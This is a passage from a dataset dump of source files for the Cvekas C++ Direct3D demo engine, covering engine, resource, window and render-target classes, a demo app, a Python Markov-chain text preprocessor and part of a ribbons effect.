video_device;\r\n}\r\n\r\nSoundManagerPtr Engine::getSoundManager()\r\n{\r\n\treturn sound_manager;\r\n}\r\n\r\nInputPtr Engine::getInput()\r\n{\r\n\treturn input;\r\n}\r\n\r\nGUIPtr Engine::getGUI()\r\n{\r\n\treturn gui;\r\n}\r\n\r\nSettingsPtr Engine::getSettings()\r\n{\r\n\treturn settings;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6600831747055054, "alphanum_fraction": 0.6611226797103882, "avg_line_length": 18.95652198791504, "blob_id": "b0706976f753b313414d8fc13f2f6c58b28e2505", "content_id": "4c844777365424fdbffd7939af8abaf81f61ba1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 962, "license_type": "no_license", "max_line_length": 60, "num_lines": 46, "path": "/source/Resource.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef RESOURCE_H\r\n#define RESOURCE_H\r\n\r\nnamespace Cvekas {\r\n\r\ntypedef uint ResourceId;\r\n\r\n/// Base class for all resources managed by the engine\r\nclass Resource : public boost::noncopyable\r\n{\r\npublic:\r\n\r\n\t/// Constructor\r\n\t/// \\param name Resource name\r\n\t/// \\param id Identification number unique to this resource\r\n\tResource(const std::string& name, ResourceId id) \r\n\t\t: name(name), is_ready(false), id(id)\r\n\t{\r\n\t}\r\n\t\r\n\t/// Destructor\r\n\tvirtual ~Resource() {};\r\n\t\r\n\t/// Gets resource name\r\n\tconst std::string& getName() const { return name; };\r\n\t\r\n\t/// Gets resource ID\r\n\tResourceId getId() const { return id; };\r\n\t\r\n\t/// Is resource ready for usage ?\r\n\tbool isReady() const { return is_ready; };\r\n\t\r\n\t/// Value for invalid ResourceIds\r\n\tstatic const ResourceId INVALID_ID = 0xFFFFFFFF;\r\n\r\nprotected:\r\n const std::string name;\r\n const ResourceId id;\r\n bool is_ready;\r\n};\r\n\r\ntypedef boost::shared_ptr<Resource> ResourcePtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6491694450378418, "alphanum_fraction": 0.6661129593849182, "avg_line_length": 22.876033782958984, "blob_id": "11044a74bdf8c1b63008031fe689ec69038d0d1c", "content_id": "f9a71f5e5ed17d2487958848c78b0a6d4a77a221", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3010, "license_type": "no_license", "max_line_length": 97, "num_lines": 121, "path": "/apps/Delirium/Delirium.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"Filesystem.h\"\r\n#include \"DefaultGUIStyle.h\"\r\n\r\n#include \"Demo.h\"\r\n\r\n#include \"TriFractal.h\"\r\n#include \"Cave.h\"\r\n#include \"Tunnel.h\"\r\n\r\n#include \"DisplayModeDialog.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nconst float width = 1024.0f;\r\nconst float height = 576.0f;\r\nconst bool show_tweaks = false;\r\n\r\nclass Delirium: public Application\r\n{\r\npublic:\r\n\tDelirium(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t: Application(instance, name, log_filename)\r\n\t{\r\n\t}\r\n\r\n\tvirtual ~Delirium()\r\n\t{\r\n\t}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tDeviceCapsPtr caps = video_device->getCaps(D3DDEVTYPE_HAL);\r\n\t\tif(caps->getPSVersion() < DeviceCaps::ps2_0 || caps->getVSVersion() < DeviceCaps::vs2_0)\r\n\t\t{\r\n\t\t\tMessageBox(NULL, \"Your graphics card sucks.\", \"ERROR\", MB_OK);\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\t\tVideoSettings& video_settings = static_cast<VideoSettings&>((*settings)[\"video\"]);\r\n\r\n\t\tif(!showDisplaymodeDialog(video_device->getModes(), video_settings))\r\n\t\t\treturn;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\twindow->showCursor(false);\r\n\t\tvideo_device->init(window);\r\n\t\tvideo_device->setProjectionMatrix(Matrix::perspective(pi / 4.0f, width / height, 0.1f, 50.0f));\r\n\t\tvideo_device->setAspectRatio(width / height);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tSoundPtr soundtrack = sound_manager->loadStream(\"GeriauGrotiPavalgiusiam\", \r\n\t\t\tFilesystem::redirect(\"geriau groti pavalgiusiam.ogg\"));\r\n\t\t\r\n\t\tvector_batch = VectorBatchPtr(new VectorBatch(main_renderer, (uint)width, (uint)height));\r\n\t\tsprite_batch = SpriteBatchPtr(new SpriteBatch(main_renderer, (uint)width, (uint)height));\r\n\r\n\t\tdemo = DemoPtr(new Demo(soundtrack));\r\n\r\n\t\tTriFractalPtr tri_fractal(new TriFractal(main_renderer, vector_batch, sprite_batch));\r\n\t\tCavePtr cave(new Cave(main_renderer, vector_batch));\r\n\t\tTunnelPtr tunnel(new Tunnel(main_renderer, vector_batch));\r\n\r\n\t\tdemo->add(0, 0.0f, 10.8f, tri_fractal);\r\n\t\tdemo->add(0, 11.0f, 40.0f, cave);\r\n\t\tdemo->add(0, 40.2f, 74.0f, tunnel);\r\n\t\t\r\n\t\tdemo->seal();\r\n\r\n\t\t//demo->play();\r\n\t\t//demo->setTime(40.1f);\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\t// Delay starting demo by 2 seconds\r\n\t\tstatic bool is_playing = false;\r\n\t\tif(!is_playing && Timer::getTimeMs() > 2000.0f)\r\n\t\t{\r\n\t\t\tis_playing = true;\r\n\t\t\tdemo->play();\r\n\t\t}\r\n\t\t\r\n\t\tinput->getKeyboard()->update();\r\n\t\tinput->getMouse()->update();\r\n\t\t\r\n\t\treturn demo->update();\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tbool result = demo->render();\r\n\t\treturn result;\r\n\t}\r\nprivate:\r\n\tDemoPtr demo;\r\n\r\n\tVectorBatchPtr vector_batch;\r\n\tSpriteBatchPtr sprite_batch;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\ttry\r\n\t{\r\n\t\tFilesystem::init(\"delirium_data\\\\\");\r\n\t\tDelirium app(hInstance, \"Delirium\", Filesystem::redirect(\"Delirium.log\"));\r\n\t\tapp.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.6630136966705322, "alphanum_fraction": 0.6732876896858215, "avg_line_length": 19.188405990600586, "blob_id": "38a00b7d81f3b67a6b3caea75e2bdbae8bd0f450", "content_id": "76dac9638715721af72b5c84fc9ab6580b3dde4a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1460, "license_type": "no_license", "max_line_length": 130, "num_lines": 69, "path": "/source/RenderTarget.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"RenderTarget.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"MemUtils.h\"\r\n#include \"ErrorHandlers.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nRenderTarget::RenderTarget(ResourceId id, D3DDevicePtr device, const std::string &name, uint width, uint height, D3DFORMAT format)\r\n\t:\r\nTexture2D(id, device, name, format)\r\n{\r\n\tthis->width = width;\r\n\tthis->height = height;\r\n\r\n\tusage = D3DUSAGE_RENDERTARGET;\r\n\tis_lockable = false;\r\n\tis_locked = false;\r\n\tis_ready = false;\r\n\r\n\tcreate();\r\n}\r\n\r\nRenderTarget::~RenderTarget()\r\n{\r\n\tsafeRelease(rt_surface);\r\n\t// No need to log this\r\n\t//if(!is_released)\r\n\t//\tLOG(FORMAT(\"Render target %s released\", % name));\r\n}\r\n\r\nIDirect3DSurface9* RenderTarget::getD3DSurface()\r\n{\r\n\treturn rt_surface;\r\n}\r\n\r\nvoid RenderTarget::onDeviceLost()\r\n{\r\n\tLOG(FORMAT(\"Releasing render target %s\", % name));\r\n\tis_released = true;\r\n\tis_ready = false;\r\n\tsafeRelease(texture);\r\n}\r\n\r\nvoid RenderTarget::onDeviceReset()\r\n{\r\n\tif(is_released)\r\n\t{\r\n\t\tcreate();\r\n\t}\r\n}\r\n\r\nvoid RenderTarget::create()\r\n{\r\n\tLOG(FORMAT(\"Creating render target %s\", % name));\r\n\r\n\tIDirect3DTexture9* temp_texture = static_cast<IDirect3DTexture9*>(texture);\r\n\tE_E(device->CreateTexture(width, height, 1, usage, format, D3DPOOL_DEFAULT, &temp_texture, NULL));\r\n\tE_E(temp_texture->GetSurfaceLevel(0, &rt_surface));\r\n\tE_E(temp_texture->GetLevelDesc(0, &description));\r\n\r\n\ttexture = temp_texture;\r\n\r\n\tis_ready = true;\r\n\tis_released = false;\r\n}\r\n} // namespace" }, { "alpha_fraction": 0.6600920557975769, "alphanum_fraction": 0.6651873588562012, "avg_line_length": 25.04888916015625, "blob_id": "e3e724d1c3695cfbdd5e5b06e528e1ce9a7c0c4e", "content_id": "745e15213169bc66c9389a3c1e5e6ae1788652c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6084, "license_type": "no_license", "max_line_length": 136, "num_lines": 225, "path": "/source/Window.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Window.h\"\r\n\r\n#include \"Engine.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nWindow::Window(HINSTANCE instace, const std::string& title, uint width, uint height, bool fullscreen)\r\n: show_cursor(true)\r\n{\r\n\tLOG(\"Creating window\"); \r\n\tthis->instance = instance;\r\n\tcreateWindow(title, width, height, fullscreen);\r\n}\r\n\r\nWindow::Window(HINSTANCE instace, const std::string& title)\r\n: show_cursor(true)\r\n{\r\n\tLOG(\"Creating window\");\r\n\tthis->instance = instance;\r\n\r\n\tEngine engine;\r\n\tVideoSettings& settings = static_cast<VideoSettings&>((*engine.getSettings())[\"video\"]);\r\n\r\n\tcreateWindow(title, settings[\"ScreenWidth\"], settings[\"ScreenHeight\"], settings[\"Fullscreen\"]);\r\n}\r\n\r\nWindow::~Window()\r\n{\r\n\t::UnregisterClass(CLASS_NAME, win_class.hInstance);\r\n};\r\n\r\nvoid Window::setTitle(const std::string& title)\r\n{\r\n\tif(!::SetWindowText(handle, title.c_str()))\r\n\t\tthrow EXCEPTION(\"Unable to set window title\");\r\n}\r\n\r\nbool Window::update()\r\n{\r\n\twhile(::PeekMessage(&msg, NULL, 0U, 0U, PM_REMOVE))\r\n\t{\r\n\t\t::TranslateMessage(&msg);\r\n\t\t::DispatchMessage(&msg);\r\n\t}\r\n\treturn active;\r\n}\r\n\r\nbool Window::isActive()\r\n{\r\n\treturn active;\r\n}\r\n\r\nHWND Window::getHandle()\r\n{\r\n\treturn handle;\r\n}\r\n\r\n// TODO: merge with createWindow, too much code duplication\r\nvoid Window::switchMode()\r\n{\r\n\tEngine engine;\r\n\tVideoSettings& new_settings = static_cast<VideoSettings&>((*engine.getSettings())[\"video\"]);\r\n\tbool new_fullscreen = new_settings[\"Fullscreen\"];\r\n\tuint new_width = new_settings[\"ScreenWidth\"];\r\n\tuint new_height = new_settings[\"ScreenHeight\"];\r\n\r\n\tif(fullscreen != new_fullscreen || width != new_width || height != new_height)\r\n\t{\r\n\t\t::ShowWindow(handle, SW_HIDE);\r\n\t\tstyle = WS_CLIPCHILDREN | WS_CLIPSIBLINGS;\r\n\t\tif(new_fullscreen)\r\n\t\t{\r\n\t\t\tstyle |= WS_EX_TOPMOST | WS_POPUP;\r\n\t\t\t\r\n\t\t\t::SetWindowPos(handle, HWND_TOPMOST, 0, 0, new_width, new_height, SWP_NOACTIVATE);\r\n\t\t\tif(!fullscreen)\r\n\t\t\t{\r\n\t\t\t\t::SetWindowLong(handle, GWL_STYLE, style);\r\n\t\t\t\t::SetWindowPos(handle, 0, 0, 0, 0, 0, SWP_NOACTIVATE | SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER);\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t//style |= WS_SYSMENU | WS_BORDER | WS_CAPTION;\r\n\t\t\tstyle |= WS_OVERLAPPEDWINDOW;\r\n\t\t\tadjustWindowSize(new_width, new_height);\r\n\r\n\t\t\t::SetWindowLong(handle, GWL_STYLE, style);\r\n\t\t\t::SetWindowPos(handle, HWND_NOTOPMOST, 0, 0, new_width, new_height, \r\n\t\t\t\tSWP_DRAWFRAME | SWP_FRAMECHANGED | SWP_NOMOVE | SWP_NOACTIVATE);\r\n\t\t}\r\n\t\t::ShowWindow(handle, SW_SHOW);\r\n\r\n\t\tfullscreen = new_fullscreen;\r\n\t\twidth = new_width;\r\n\t\theight = new_height;\r\n\t}\r\n}\r\n\r\nvoid Window::createWindow(const std::string& title, uint width, uint height, bool fullscreen)\r\n{\r\n\twin_class.cbSize = sizeof(WNDCLASSEX);\r\n\twin_class.style = CS_HREDRAW | CS_VREDRAW;\r\n\twin_class.lpfnWndProc = &Window::msgProc;\r\n\twin_class.cbClsExtra = NULL;\r\n\twin_class.cbWndExtra = NULL;\r\n\twin_class.hInstance = this->instance;\r\n\twin_class.hIcon = NULL;\r\n\twin_class.hCursor = NULL;\r\n\twin_class.hbrBackground = static_cast<HBRUSH>(::GetStockObject(WHITE_BRUSH));\r\n\twin_class.lpszMenuName = NULL;\r\n\twin_class.lpszClassName = CLASS_NAME;\r\n\twin_class.hIconSm = NULL;\r\n\r\n\tif(!::RegisterClassEx(&win_class))\r\n\t\tthrow EXCEPTION(\"Unable to register window class\");\r\n\r\n\t// HACK: Code duplication, can put CreateWindow after if-else\r\n\tstyle = WS_CLIPCHILDREN | WS_CLIPSIBLINGS;\r\n\tif(!fullscreen)\r\n\t{\r\n\t\t//DWORD style = WS_VISIBLE | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_OVERLAPPED | WS_BORDER | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX;\r\n\t\t//style |= WS_OVERLAPPED | WS_BORDER | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX;\r\n\t\tstyle |= WS_OVERLAPPEDWINDOW;\r\n\r\n\t\tadjustWindowSize(width, height);\r\n\t\thandle = ::CreateWindow(CLASS_NAME, title.c_str(), style, CW_USEDEFAULT, CW_USEDEFAULT,\r\n\t\t\twidth, height, NULL, NULL, this->instance, this);\r\n\t}\r\n\telse\r\n\t{\r\n\t\t//style |= WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX | WS_VISIBLE;\r\n\t\tstyle |= WS_EX_TOPMOST | WS_POPUP;\r\n\t\thandle = ::CreateWindow(CLASS_NAME, title.c_str(), style , CW_USEDEFAULT, CW_USEDEFAULT,\r\n\t\t\t\t\t\t\twidth, height, NULL, NULL, this->instance, this);\r\n\t}\r\n\r\n\tif(handle == NULL)\r\n\t\tthrow EXCEPTION(\"Unable to create window\");\r\n\r\n\t::ShowWindow(handle, SW_SHOW);\r\n\t::UpdateWindow(handle);\r\n\tactive = true;\r\n\tthis->fullscreen = fullscreen;\r\n\tthis->width = width;\r\n\tthis->height = height;\r\n}\r\n\r\nLRESULT WINAPI Window::msgProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)\r\n{\r\n\r\n#pragma warning(disable:4311) // pointer truncation from 'LPVOID' to 'long'\t\r\n#pragma warning(disable:4312) // conversion from 'LONG' to 'Cvekas::Window *' of greater size\r\n\r\n\tif (msg == WM_CREATE)\r\n\t{ \r\n\t\t// Store pointer to Window in user data area\r\n\t\tLPCREATESTRUCT create_struct = reinterpret_cast<LPCREATESTRUCT>(lParam);\r\n\t\tSetWindowLongPtr(hWnd, GWLP_USERDATA, reinterpret_cast<long>(create_struct->lpCreateParams));\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tWindow* window = reinterpret_cast<Window*>(::GetWindowLongPtr(hWnd, GWLP_USERDATA));\r\n\tif (!window)\r\n\t\treturn ::DefWindowProc(hWnd, msg, wParam, lParam);\r\n\r\n#pragma warning(default:4311)\r\n#pragma warning(default:4312)\r\n\r\n\t// Handle cursor messages before passing them to input\r\n\tswitch(msg)\r\n\t{\r\n\tcase WM_MOUSELEAVE:\r\n\t\tShowCursor(true);\r\n\t\tbreak;\r\n\tcase WM_MOUSEMOVE:\r\n\t\tShowCursor(window->isCursorVisible());\r\n\t\tbreak;\r\n\t}\r\n\t\r\n\tEngine e;\r\n\tif(e.getInput())\r\n\t\tif(e.getInput()->process(hWnd, msg, wParam, lParam))\r\n\t\t\treturn 0;\r\n\r\n\tPAINTSTRUCT ps;\r\n HDC hdc;\r\n\r\n\tswitch(msg)\r\n\t{\r\n\t\t//case WM_SETCURSOR:\r\n\t\t//\tShowCursor(false);\r\n\t\t//\tbreak;\r\n\r\n\t\tcase WM_PAINT:\r\n hdc = BeginPaint( hWnd, &ps );\r\n EndPaint( hWnd, &ps );\r\n break;\r\n\r\n\t\tcase WM_DESTROY:\r\n\t\t\twindow->active = false;\r\n\t\t\tbreak;\r\n\r\n\t\tdefault:\r\n\t\t\treturn ::DefWindowProc(hWnd, msg, wParam, lParam);\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nvoid Window::adjustWindowSize(uint& width, uint& height)\r\n{\r\n\tRECT win_rect;\r\n\t\r\n\twin_rect.top = win_rect.left = 0;\r\n\twin_rect.bottom = height;\r\n\twin_rect.right = width;\r\n\t\r\n\t::AdjustWindowRect(&win_rect, style, false);\r\n\t\r\n\twidth = win_rect.right - win_rect.left;\r\n\theight = win_rect.bottom - win_rect.top;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6108695864677429, "alphanum_fraction": 0.6181159615516663, "avg_line_length": 21.758621215820312, "blob_id": "9aa8153eb378e7fb1ca49598fd5ecd893e706e63", "content_id": "4e5d141b0c105d8f1df405ce794ba5c0156ce96a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1380, "license_type": "no_license", "max_line_length": 69, "num_lines": 58, "path": "/media/celerity_data/premarkov.py", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "from sets import Set\r\nimport itertools\r\nimport mml\r\n\r\ndef flatten(l):\r\n\treturn list(itertools.chain(*l))\r\n\r\ndef rle_zeroes(l):\r\n\tnew_l = []\r\n\ti = 0\r\n\twhile i < len(l):\r\n\t\tif l[i] != 0:\r\n\t\t\tnew_l.append(i)\r\n\t\t\tnew_l.append(l[i])\r\n\t\ti += 1\t\r\n\tif new_l == []:\r\n\t\tnew_l = [0, 0]\r\n\treturn new_l\r\n\r\ndef preprocess(text):\r\n\twords = text.split()\r\n\twords_set = Set()\r\n\tfor word in words:\r\n\t\twords_set.add(word)\r\n\t\r\n\tword_count = len(words_set)\r\n\r\n\tword_to_index = {}\r\n\tfor i, word in enumerate(words_set):\r\n\t\tword_to_index[word] = i\r\n\r\n\tfreq = [[0]*word_count for i in range(word_count)]\r\n\tfor i in range(len(words)-1):\r\n\t\tw, nw = words[i], words[i+1]\r\n\t\ti, ni = word_to_index[w], word_to_index[nw]\r\n\t\tfreq[i][ni] += 1\r\n\r\n\tcompr_freq = map(rle_zeroes, freq)\t\r\n\r\n\tmml_output = mml.Node('markov_statistics', '_')\r\n\tmml_words = mml.Node('words', str(word_count))\r\n\tfor word in word_to_index.keys():\r\n\t\tmml_words.children.append(mml.Node(word, str(word_to_index[word])))\r\n\tmml_freqs = mml.Node('frequencies', '_')\r\n\tfor freq in compr_freq:\r\n\t\tmml_freqs.children.append(mml.Node('f', ' '.join(map(str, freq))))\r\n\tmml_output.children.append(mml_words)\r\n\tmml_output.children.append(mml_freqs)\r\n\r\n\toutfile = open('markov.mml', 'w')\r\n\toutfile.write(mml.serialize2(mml_output))\r\n\toutfile.close()\r\n\r\nalice = open('alice.txt', 'r')\r\nalice_str = alice.read()\r\nalice.close()\r\n\r\npreprocess(alice_str)\r\n\r\n" }, { "alpha_fraction": 0.7282768487930298, "alphanum_fraction": 0.7400588989257812, "avg_line_length": 23.660377502441406, "blob_id": "8227505771349943e7e9ab93ac113bd51858f467", "content_id": "ff1ae1dea886b4e3d3a9a8a20683190717ce5202", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1358, "license_type": "no_license", "max_line_length": 120, "num_lines": 53, "path": "/apps/Celerity/Markov.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef MARKOV_H\r\n#define MARKOV_H\r\n\r\n#include \"Demo.h\"\r\n#include \"RenderTarget.h\"\r\n#include \"Random.h\"\r\n#include \"VectorBatch.h\"\r\n#include \"BitmapFont.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass Markov : public TimelineSegment\r\n{\r\npublic:\r\n\tMarkov(RendererPtr renderer, VectorBatchPtr vector_batch, SpriteBatchPtr sprite_batch, BitmapFontPtr font);\r\n\t~Markov();\r\n\r\n\tvirtual void init(boost::weak_ptr<Demo> owner);\r\n\tvirtual void close();\r\n\t\r\n\tvirtual void update(float t);\r\n\tvirtual void render(float t);\r\n\r\nprivate:\r\n\tvoid drawArc(const Vector2& center, float radius, float thickness, float angle, float rotation, float wavyness = 0.0f);\r\n\tvoid drawRays(const Vector2& center, float rotation, uint amount, float t);\r\n\tvoid drawKoch(const Vector2& p1, const Vector2& p2, uint levels, Color c);\r\n\tvoid drawSnowflake(const Vector2& center, float size, float angle, float t);\r\n\r\n\tRenderTargetPtr offscreen_target1;\r\n\tRenderTargetPtr offscreen_target2;\r\n\tRenderTargetPtr text_target;\r\n\r\n\tRendererPtr renderer;\r\n\tVectorBatchPtr vector_batch;\r\n\tSpriteBatchPtr sprite_batch;\r\n\tBitmapFontPtr font;\r\n\r\n\tEffectPtr vector_batch_effect;\r\n\tEffectPtr default_sprite_effect;\r\n\tEffectPtr blured_sprite_effect;\r\n\tTexture2DPtr pattern1;\r\n\r\n\tstd::string text1;\r\n\tstd::string text2;\r\n\tstd::string text3;\r\n\r\n\tRandom prng;\r\n};\r\n\r\ntypedef boost::shared_ptr<Markov> MarkovPtr;\r\n\r\n#endif" }, { "alpha_fraction": 0.5952861905097961, "alphanum_fraction": 0.6597082018852234, "avg_line_length": 32.80989456176758, "blob_id": "008610560e6ed8f2f9fb4040f800853b44e2b6f9", "content_id": "1280f178300c6c78c500ed597dd679a8ceed0fd3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 13365, "license_type": "no_license", "max_line_length": 142, "num_lines": 384, "path": "/apps/Celerity/Ribbons.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Ribbons.h\"\r\n\r\n#include \"Engine.h\"\r\n#include \"Filesystem.h\"\r\n#include \"GpuBufferManipulator.h\"\r\n#include \"Textgen.h\"\r\n\r\nconst uint tris_per_ribbon = 6000;\r\nconst uint n_quads = 1000;\r\nconst uint tunnel_segments = 32;\r\nconst Color ribbon1_color = Color(12, 32, 6, 210);\r\nconst Color ribbon2_color = Color(42, 15, 8, 210);\r\nconst Color ribbon3_color = Color(13, 10, 28, 210);\r\n\r\nRibbons::Ribbons(RendererPtr renderer, VectorBatchPtr vector_batch, SpriteBatchPtr sprite_batch, BitmapFontPtr font)\r\n: renderer(renderer), vector_batch(vector_batch), sprite_batch(sprite_batch), font(font), prng(1337),\r\n camera(Vector3(0.0f, 0.0f, 0.0f), Vector3(0.0f, 0.0f, 1.0f), Vector3(0.0f, 1.0f, 0.0f))\r\n{\r\n}\r\n\r\nRibbons::~Ribbons() \r\n{\r\n}\r\n\r\nvoid Ribbons::init(boost::weak_ptr<Demo> owner)\r\n{\r\n\tthis->owner = owner;\r\n\r\n\tuint viewport_width, viewport_height;\r\n\tvideo_device->getViewport(viewport_width, viewport_height);\r\n\t/*\r\n\toffscreen_target1 = video_device->getTextureManager()->createRenderTarget(\"rt_ribbons1\", \r\n\t\tviewport_width/4, viewport_height/4, D3DFMT_A8R8G8B8);\r\n\toffscreen_target2 = video_device->getTextureManager()->createRenderTarget(\"rt_ribbons2\", \r\n\t\tviewport_width/4, viewport_height/4, D3DFMT_A8R8G8B8);\r\n\t*/\r\n\toffscreen_target1 = video_device->getTextureManager()->getRenderTarget(\"rt_glow0\");\r\n\toffscreen_target2 = video_device->getTextureManager()->getRenderTarget(\"rt_glow1\");\r\n\tpattern1 = video_device->getTextureManager()->getTexture2D(\"pattern1\");\r\n\tdefault_sprite_effect = video_device->getEffectManager()->get(\"SpriteBatch\");\r\n\tblured_sprite_effect = video_device->getEffectManager()->get(\"BluredSpriteBatch\");\r\n\r\n\ttext_target = video_device->getTextureManager()->createRenderTarget(\"rt_tunnel_text\",\r\n\t\t2048, 1024, D3DFMT_A8R8G8B8);\r\n\r\n\t// Ribbons\r\n\tribbons_effect = video_device->getEffectManager()->load(\"Ribbons\", Filesystem::redirect(\"Ribbons.fx\"));\r\n\ttunnel_effect = video_device->getEffectManager()->load(\"Tunnel\", Filesystem::redirect(\"Tunnel.fx\"));\r\n\ttunnel_effect->setParamValue(tunnel_effect->getParamBySemantic(\"TUNNEL_TEXTURE\"), boost::shared_polymorphic_cast<BaseTexture>(text_target)); \r\n\r\n\tribbons_vb = video_device->getGpuBufferManager()->createVertexBuffer(\"ribbons_vb\", \r\n\t\tVertexPosColor::getFormat(), tris_per_ribbon * 3 * 3, false);\r\n\r\n\t//GpuBufferManipulator<VertexPosColor> ribbons_manipulator(ribbons_vb);\r\n\tLockedBuffer lb = ribbons_vb->lock(false);\r\n\tVertexPosColor* data = reinterpret_cast<VertexPosColor*>(lb.data);\r\n\r\n\tfor(uint idx = 0; idx < tris_per_ribbon * 3 * 3; idx += 3 * 3) \r\n\t{\r\n\t\tfloat t = float(idx/9) / float(tris_per_ribbon);\r\n\r\n\t\tVector3 ribbon1 = curve1(t);\r\n\t\tVector3 ribbon2 = curve2(t);\r\n\t\tVector3 ribbon3 = curve3(t);\r\n\r\n\t\tdata[idx] = VertexPosColor(ribbon1 + random_point_in_sphere(), ribbon1_color);\r\n\t\tdata[idx+1] = VertexPosColor(ribbon1 + random_point_in_sphere(), ribbon1_color);\r\n\t\tdata[idx+2] = VertexPosColor(ribbon1 + random_point_in_sphere(), ribbon1_color);\r\n\r\n\t\tdata[idx+3] = VertexPosColor(ribbon2 + random_point_in_sphere(), ribbon2_color);\r\n\t\tdata[idx+4] = VertexPosColor(ribbon2 + random_point_in_sphere(), ribbon2_color);\r\n\t\tdata[idx+5] = VertexPosColor(ribbon2 + random_point_in_sphere(), ribbon2_color);\r\n\r\n\t\tdata[idx+6] = VertexPosColor(ribbon3 + random_point_in_sphere(), ribbon3_color);\r\n\t\tdata[idx+7] = VertexPosColor(ribbon3 + random_point_in_sphere(), ribbon3_color);\r\n\t\tdata[idx+8] = VertexPosColor(ribbon3 + random_point_in_sphere(), ribbon3_color);\r\n\t}\r\n\tribbons_vb->unlock();\r\n\t//ribbons_manipulator.apply();\r\n\r\n\tribbons_batch.effect_id = ribbons_effect->getId();\r\n\tribbons_batch.pass = 0;\r\n\tribbons_batch.priority = 1010;\r\n\tribbons_batch.vb_id = ribbons_vb->getId();\r\n\r\n\t// Quads\r\n\tquads_effect = video_device->getEffectManager()->load(\"TunnelRects\", Filesystem::redirect(\"TunnelRects.fx\"));\r\n\tquads_ib = video_device->getGpuBufferManager()->createIndexBuffer(\"quads_ib\", true, n_quads*6, false);\r\n\tLockedBuffer locked_ib = quads_ib->lock(false);\r\n\tuint16* ib_data = reinterpret_cast<uint16*>(locked_ib.data);\r\n\tfor(uint i = 0, v = 0; i < n_quads * 6; i += 6, v += 4)\r\n\t{\r\n\t\tib_data[i] = v;\r\n\t\tib_data[i+1] = v+1;\r\n\t\tib_data[i+2] = v+2;\r\n\t\tib_data[i+3] = v+2;\r\n\t\tib_data[i+4] = v+1;\r\n\t\tib_data[i+5] = v+3;\r\n\t}\r\n\tquads_ib->unlock();\r\n\r\n\tquads_vb = video_device->getGpuBufferManager()->createVertexBuffer(\"quads_vb\", VertexPosColor::getFormat(),\r\n\t\tn_quads * 4, false);\r\n\tLockedBuffer locked_vb = quads_vb->lock(false);\r\n\tVertexPosColor* vb_data = reinterpret_cast<VertexPosColor*>(locked_vb.data);\r\n\tfor(uint i = 0; i < n_quads; ++i)\r\n\t{\r\n\t\tfloat t = prng.randFloat(-50.0f, 250.0f);\r\n\t\tfloat a = prng.randFloat(0.0f, pi*2.0f);\r\n\t\tfloat l = prng.normal(3.0f, 1.0f);\r\n\t\tfloat r = 6.0f + prng.randFloat(-0.7f, 0.7f);\r\n\t\tfloat w = 1.0f;\r\n\r\n\t\tVector3 to_center(0.0f, cos(a)*r, sin(a)*r);\r\n\t\tVector3 forward(1.0f, 0.0f, 0.0f);\r\n\t\tVector3 down = to_center.cross(forward);\r\n\t\tdown.normalize();\r\n\r\n\t\tw /= 2.0f; l /= 2.0f;\r\n\t\tto_center.x = t;\r\n\t\tVector3 v1 = to_center + (forward * l) + (down * w);\r\n\t\tVector3 v2 = to_center - (forward * l) + (down * w);\r\n\t\tVector3 v3 = to_center - (forward * l) - (down * w);\r\n\t\tVector3 v4 = to_center + (forward * l) - (down * w);\r\n\r\n\t\tColor c(prng.randInt(100, 130), prng.randInt(70, 90), prng.randInt(10, 